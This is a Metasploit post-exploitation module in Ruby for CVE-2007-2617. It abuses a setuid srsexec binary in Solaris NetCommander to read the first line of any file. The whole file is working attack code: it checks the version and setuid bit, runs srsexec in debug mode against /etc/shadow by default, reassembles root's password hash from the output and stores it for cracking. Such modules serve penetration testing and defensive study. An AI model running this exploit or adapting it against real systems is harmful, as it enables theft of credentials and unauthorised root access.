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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Solaris::System
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  include Msf::Post::Solaris::Priv
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Solaris srsexec Arbitrary File Reader',
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        'Description' => %q{
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          This module exploits a vulnerability in NetCommander 3.2.3 and 3.2.5.
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          When srsexec is executed in debug (-d) verbose (-v) mode,
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          the first line of an arbitrary file can be read due to the suid bit set.
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          The most widely accepted exploitation vector is reading /etc/shadow,
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          which will reveal root's hash for cracking.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'h00die', # metasploit module
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          'iDefense' # discovery reported anonymously to https://labs.idefense.com
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        ],
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        'Platform' => [ 'solaris' ],
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'References' => [
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          ['CVE', '2007-2617'],
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          ['URL', 'https://download.oracle.com/sunalerts/1000443.1.html'],
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          ['URL', 'https://www.securityfocus.com/archive/1/468235'],
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          ['EDB', '30021'],
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          ['BID', '23915']
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        ],
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        'DisclosureDate' => '2007-05-07',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options([
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      OptString.new('FILE', [true, 'File to read the first line of', '/etc/shadow'])
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    ])
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  end
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  def suid_bin_path
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    '/opt/SUNWsrspx/bin/srsexec'
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  end
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  def check
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    if is_root?
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      fail_with(Failure::BadConfig, 'Session already has root privileges')
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    end
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    # This ls is based on the guidance in the sun alerts article
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    unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
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    unin =~ /UninstallNetConnect\.([\d.]{11})\.sh/
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    unless ::Regexp.last_match(1)
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      print_error('NetConnect uninstall not found, either not installed or too new')
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      return false
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    end
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    version = Rex::Version.new(::Regexp.last_match(1).split('.').map(&:to_i).join('.'))
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    unless version.between?(Rex::Version.new('3.2.3'), Rex::Version.new('3.2.4'))
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      print_error "#{version} is not vulnerable"
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      return false
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    end
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    print_good("#{version} is vulnerable")
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    unless setuid?(suid_bin_path)
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      vprint_error("#{suid_bin_path} is not setuid, it must have been manually patched")
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      return false
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    end
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    true
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  end
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  def run
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    unless check
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      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
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    end
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    flag = Rex::Text.rand_text_alpha(5)
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    output = cmd_exec("#{suid_bin_path} -dvb #{datastore['FILE']} #{flag}")
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    vprint_good("Raw Command Output: #{output}")
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    # The first line of the file is cut at 20 characters.
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    # If the output is longer than 20 characters, then
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    # the next line will start with the last 2 characters from the previous line,
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    # followed by the next 18 characters.
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    formatted_output = output.scan(/binaries file line: (.+)$/).flatten.map do |line|
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      (line.length == 20) ? line[0..17] : line
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    end.join
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    return if formatted_output.empty?
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    print_good("First line of #{datastore['FILE']}: #{formatted_output}")
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    return unless datastore['FILE'] == '/etc/shadow'
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    print_good("Adding root's hash to the credential database.")
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    credential_data = {
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      origin_type: :session,
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      session_id: session_db_id,
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      workspace_id: myworkspace_id,
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      post_reference_name: fullname,
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      username: formatted_output.split(':')[0],
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      private_data: formatted_output.split(':')[1],
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      private_type: :nonreplayable_hash
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    }
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    create_credential(credential_data)
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  end
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end
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